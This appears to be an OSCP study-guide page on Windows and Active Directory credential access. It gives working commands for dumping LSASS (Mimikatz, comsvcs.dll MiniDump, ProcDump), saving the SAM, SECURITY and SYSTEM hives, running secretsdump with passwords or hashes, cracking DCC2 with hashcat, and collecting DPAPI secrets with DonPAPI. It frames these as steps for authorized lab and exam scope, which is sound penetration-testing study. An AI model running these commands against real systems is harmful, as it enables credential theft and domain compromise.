Windows and Domain Credential Access

← Stage index | Domain mapping | Credential handling | AD cheatsheet | Strategy map | Study methods: Recover and use authentication material; Gain a more useful domain identity

Prerequisite: an already authorized host/session and the exact privilege required by the selected source. Do not collect everything by default.

Decision: CURRENT IDENTITY → SOURCE → REQUIRED PRIVILEGE/PROTECTION → ARTIFACT TYPE → COMPATIBLE NEXT USE.

Exit: classify each result as password, NT hash, AES key, ticket, DPAPI material, cached verifier or local/domain secret; protect it in private records and re-enumerate only through compatible authentication.

1. Select the source before the tool

2. Establish privilege and protection state

Copywhoami /all
tasklist /fi "imagename eq lsass.exe"
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v LsaCfgFlags

CopyGet-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard |
  Select-Object SecurityServicesConfigured,SecurityServicesRunning,VirtualizationBasedSecurityStatus

Interpretation:

• membership in Administrators with a medium-integrity filtered token is not equivalent to an elevated process;
• SeDebugPrivilege must be present and usable for common live-process access;
• a missing registry value is not definitive proof that a protection is disabled because defaults, policy and firmware state matter;
• LSA protection blocks untrusted code injection/process-memory access; Credential Guard isolates selected NTLM, Kerberos and saved-domain secrets with VBS;
• EDR/AV can block a tool or dump path without proving the underlying credential source is empty.

An access-denied or empty result disproves only that method in the current context.

3. Inspect tickets before invasive collection

Copyklist
klist tgt
klist sessions

When privileges permit inspecting another logon session:

Copyklist -li 0xLUID tickets
klist -li 0xLUID tgt

CopyRubeus.exe triage
Rubeus.exe dump /luid:0xLUID /nowrap

Do not use klist purge during triage. It destroys cached tickets and can break the current session. Interpret exported tickets using Kerberos and identity transitions.

4. LSASS: live logon-session material

Direct Mimikatz access

Copymimikatz.exe
privilege::debug
sekurlsa::logonpasswords
sekurlsa::tickets

Decisive output is a named logon session with a typed value: NTLM, AES key, DPAPI key or ticket. A username with Password : (null) is not a failed tool run when another useful field exists, and modern Windows commonly does not retain reusable cleartext.

Dump first, parse offline

Built-in comsvcs.dll method from an elevated command prompt:

Copyfor /f "tokens=2" %A in ('tasklist ^| findstr /i lsass.exe') do rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump %A C:\Windows\Temp\lsass.dmp full

Sysinternals ProcDump alternative:

Copyprocdump64.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp

Parse with a compatible Mimikatz build:

Copymimikatz.exe
sekurlsa::minidump C:\Path\To\lsass.dmp
sekurlsa::logonpasswords
sekurlsa::tickets

Common failures:

• dump creation denied: token/protection/EDR or process-access prerequisite failed;
• ProcessorArchitecture mismatch: use compatible x64/x86 tooling;
• OS major-version mismatch: parse with a compatible build/environment;
• dump succeeds but secrets are absent: logon type, sign-out/reboot, Credential Guard and provider behavior affect contents.

LSASS dumps are sensitive and noisy. Hash the evidence if needed, transfer through the established route, store it privately and remove the target copy after the authorized objective.

5. SAM and SYSTEM: local identities

Copyreg save HKLM\SAM C:\Windows\Temp\SAM.hive /y
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive /y

Copyimpacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL

Mimikatz alternative from a suitable elevated context:

Copyprivilege::debug
token::elevate
lsadump::sam

Interpret a typical account row as:

CopyLOCAL_USER:RID:LM_HASH:NT_HASH:::

The NT hash is local-account material. Its reuse depends on the same local password existing elsewhere, account state, remote UAC restrictions, service support and host authorization. Return it to the credential-classification workflow; do not call it a domain credential.

6. SECURITY and SYSTEM: LSA secrets and cached domain verifiers

Copyreg save HKLM\SECURITY C:\Windows\Temp\SECURITY.hive /y
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive /y

Copyimpacket-secretsdump -security SECURITY.hive -system SYSTEM.hive LOCAL

Mimikatz alternative:

Copyprivilege::debug
token::elevate
lsadump::secrets
lsadump::cache

Potential categories:

• $MACHINE.ACC: member computer's domain-account secret/key material;
• service/autologon secrets: usefulness depends on whether the service/account remains active;
• NL$1-style cached logon data: DCC2/MSCache v2 verifier material.

DCC2 is for offline guessing, not Pass-the-Hash:

Copyhashcat -m 2100 dcc2.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule

Verify the exact format with the installed Hashcat examples before cracking.

7. Credential Manager and DPAPI

Copycmdkey /list
vaultcmd /list
vaultcmd /listcreds:"Windows Credentials" /all

CopyGet-ChildItem "$env:APPDATA\Microsoft\Credentials" -Force -ErrorAction SilentlyContinue
Get-ChildItem "$env:LOCALAPPDATA\Microsoft\Credentials" -Force -ErrorAction SilentlyContinue
Get-ChildItem "$env:APPDATA\Microsoft\Protect" -Force -Recurse -ErrorAction SilentlyContinue

For each entry record target, type, username, persistence/context and whether a compatible application can ask Windows to use it. A listed credential is not necessarily exportable plaintext.

DPAPI reasoning:

CopyPROTECTED BLOB
-> MASTER-KEY GUID
-> USER OR MACHINE PROTECT SCOPE
-> MASTER-KEY DECRYPTION MATERIAL
-> APPLICATION-SPECIFIC DECODING

Possible decryption material includes the already logged-on user context, the user's password/NT hash, machine context or a domain DPAPI backup key. Prefer using the authorized existing context rather than copying unrelated protected data. One blob without its master key/context is incomplete.

8. NTDS and replication paths

Offline NTDS from an already controlled DC

An offline parse needs a matched NTDS.dit and SYSTEM hive:

Copyimpacket-secretsdump -ntds NTDS.dit -system SYSTEM.hive LOCAL

Obtaining locked DC database files normally requires DC-level privilege and a snapshot/backup-aware method. Ordinary local administrator on a member server does not provide this material.

Shadow-copy boundary: inspect before creating anything

From an already controlled Windows Server/DC context, first determine whether a usable snapshot already exists and whether the current token has the required backup/administrative rights:

Copywhoami /priv
vssadmin list shadows
diskshadow

At the DISKSHADOW> prompt:

Copylist shadows all
exit

Interpret: an existing shadow proves only a snapshot object. It does not prove the current identity can read NTDS.dit, that the copy is current, or that a matching SYSTEM hive has been acquired. DiskShadow is a Windows Server utility; absence on a workstation is a platform result, not proof that VSS does not exist.

Creating, exposing or deleting a shadow changes host state and normally requires elevated backup/administrator context. Do not offer those actions until the selected procedure records the exact volume, matched NTDS/SYSTEM acquisition, destination, verification and cleanup. The state-machine gap is tracked as RW08; listing is safe discovery, not credential acquisition.

Remote collection

Copyimpacket-secretsdump -dc-ip DC_IP 'DOMAIN/USER:PASSWORD@DC_HOST'

Copyimpacket-secretsdump -hashes :NT_HASH -dc-ip DC_IP 'DOMAIN/USER@DC_HOST'

This broad form can invoke several remote collection paths and is high impact. Use it only when the lab objective and privileges justify those sources. For replication rights and a bounded one-user request, use DCSync.

Credential routing

Open scalable SVG | Open PNG

9. Classify before choosing the transition

Net-NTLMv2 relay is a live authentication path, not hash reuse

A captured Net-NTLMv2 response is suitable for offline recovery, but cannot be passed as an NT hash. A relay path instead needs a fresh inbound NTLM authentication event, a different reachable target that accepts the relayed protocol, target protections that permit the exchange, and useful authorization for the relayed identity.

For an explicitly selected SMB destination, inspect signing behavior before considering it a relay receiver:

Copynmap -p 445 --script smb2-security-mode TARGET

Interpret: signing required closes the ordinary SMB-to-SMB relay receiver path. Signing enabled but not required is only one prerequisite; it does not supply an authentication source, bypass EPA/channel binding on another protocol, or grant the relayed identity useful rights.

The current OSCP+ exam guide prohibits poisoning/spoofing. Do not use Responder-style name-resolution poisoning in the exam workflow. A direct, already-existing authentication source still needs a separately reviewed, scope-compliant relay procedure and an action-specific verification; the incomplete procedure is tracked as RW09.

Every newly usable identity returns to Block 10 before movement:

CopyVERIFY MATERIAL -> AUTHENTICATE SAFELY -> CONFIRM IDENTITY
                -> MAP GROUPS/RIGHTS/SHARES/HOSTS/ROUTES

10. Failure router

Tooling for this section

DonPAPI — remote DPAPI/application-secret collection with host rights

Use after confirming the accepted identity has the required administrative/remote access on this Windows host. SMB, remote operations and the available masterkey material affect what can be decrypted; ordinary domain-user authentication is not enough.

Copy# One named host and one relevant collector, not automatic whole-domain targeting
donpapi collect -d DOMAIN -u USER -p 'PASSWORD' -t TARGET -c CredMan

# Distinct authentication material: the tool expects LMHASH:NTHASH form
donpapi collect -d DOMAIN -u USER \
  -H 'aad3b435b51404eeaad3b435b51404ee:HASH' -t TARGET -c CredMan

Read: distinguish acquired encrypted artifacts from decrypted credentials and identify each artifact's profile/application. Remote Registry/SAM/LSA operations can require service-control rights and alter service state. Bring the relevant password/hash/masterkey/PVK when needed; --fetch-pvk is not a default action and requires additional domain rights. An empty result can be a collection or decryption failure. Validate a recovered identity before moving.

Sources: upstream 1.

Sources

• Supplied PEN-200, Chapter 23, especially pp758–767 and pp779–784.
• OffSec OSCP+ Body of Knowledge
• Microsoft Windows authentication credential processes
• Microsoft LSA protection
• Microsoft Credential Guard
• Mimikatz sekurlsa and lsadump
• Impacket secretsdump
• Microsoft PsTools/ProcDump
• Microsoft DiskShadow and list shadows
• Nmap smb2-security-mode
• getSH Active Directory route, source snapshot e1f62dd
• Hexdump Active Directory module. The live module was still a TODO when checked; no credential-access procedure was imported from it.